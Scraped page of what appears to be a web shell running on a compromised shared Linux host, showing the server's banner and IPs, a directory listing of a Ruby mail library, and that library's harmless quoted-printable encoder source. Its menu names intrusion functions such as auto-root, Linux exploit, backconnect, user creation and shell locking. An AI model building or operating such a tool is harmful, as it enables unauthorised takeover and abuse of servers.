Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
mail /
encodings /
[ HOME SHELL ]
Name
Size
Permission
Action
7bit.rb
480
B
-rw-r--r--
8bit.rb
436
B
-rw-r--r--
base64.rb
828
B
-rw-r--r--
binary.rb
238
B
-rw-r--r--
identity.rb
476
B
-rw-r--r--
quoted_printable.rb
1.09
KB
-rw-r--r--
transfer_encoding.rb
2.27
KB
-rw-r--r--
unix_to_unix.rb
428
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : quoted_printable.rb
# encoding: utf-8 # frozen_string_literal: true require 'mail/encodings/7bit' module Mail module Encodings class QuotedPrintable < SevenBit NAME='quoted-printable' PRIORITY = 2 def self.can_encode?(enc) EightBit.can_encode? enc end # Decode the string from Quoted-Printable. Cope with hard line breaks # that were incorrectly encoded as hex instead of literal CRLF. def self.decode(str) str.gsub(/(?:=0D=0A|=0D|=0A)\r\n/, "\r\n").unpack("M*").first end def self.encode(str) [str].pack("M") end def self.cost(str) # These bytes probably do not need encoding c = str.count("\x9\xA\xD\x20-\x3C\x3E-\x7E") # Everything else turns into =XX where XX is a # two digit hex number (taking 3 bytes) total = (str.bytesize - c)*3 + c total.to_f/str.bytesize end # QP inserts newlines automatically and cannot violate the SMTP spec. def self.compatible_input?(str) true end private Encodings.register(NAME, self) end end end
Close